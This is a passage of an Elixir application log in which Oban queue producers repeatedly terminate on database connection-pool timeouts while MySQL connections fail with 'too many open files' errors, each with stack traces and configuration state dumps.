#Reference<0.2525715032.1121189889.102538>, refresh_timer: #Reference<0.2525715032.1121189889.102535>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:00:30.237422Z], limit: 5, uuid: "0e615ab5-1265-48e4-9510-ac854beb9664", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:30.244898Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.257191>, refresh_timer: #Reference<0.2525715032.1099169794.257190>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:42.898000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:43.686000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:44.282000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:44.958000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:48.060000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:50.994000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:51.370000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:52.055000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:00:42.245174Z], limit: 5, uuid: "77101397-240e-49e3-abe1-d91267e6eb63", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:42.245437Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.257453>, refresh_timer: #Reference<0.2525715032.1121189889.102722>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:00:42.240332Z], limit: 10, uuid: "67e3097f-5da6-427c-bfbe-b1a577a8c7fb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:42.240339Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.257452>, refresh_timer: #Reference<0.2525715032.1121189889.102677>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:00:42.240798Z], limit: 50, uuid: "465c6581-b7a4-418e-b3f9-2afc691b4f30", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:42.240803Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.257455>, refresh_timer: #Reference<0.2525715032.1121189889.102689>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:54.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 841ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:00:42.241451Z], limit: 20, uuid: "da4d466e-330d-4fc9-af2a-a2d700a267ea", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:42.241458Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.257451>, refresh_timer: #Reference<0.2525715032.1068236804.248498>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:54.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:00:42.241578Z], limit: 3, uuid: "3253e469-e6af-42dd-bedb-517f35f42663", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:42.241584Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.257450>, refresh_timer: #Reference<0.2525715032.1077411843.231093>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:54.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:00:42.242601Z], limit: 5, uuid: "966a9e20-3205-40b6-89b5-40f838da419c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:42.242607Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.257454>, refresh_timer: #Reference<0.2525715032.1121189889.102710>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:56.340000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:58.185000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:59.063000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:59.187000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:03.548000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:06.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1071ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:00:54.240047Z], limit: 20, uuid: "0b52d168-0a95-44a2-9ba9-fa7413e182f2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:54.240053Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.257755>, refresh_timer: #Reference<0.2525715032.1068236804.248529>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:06.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
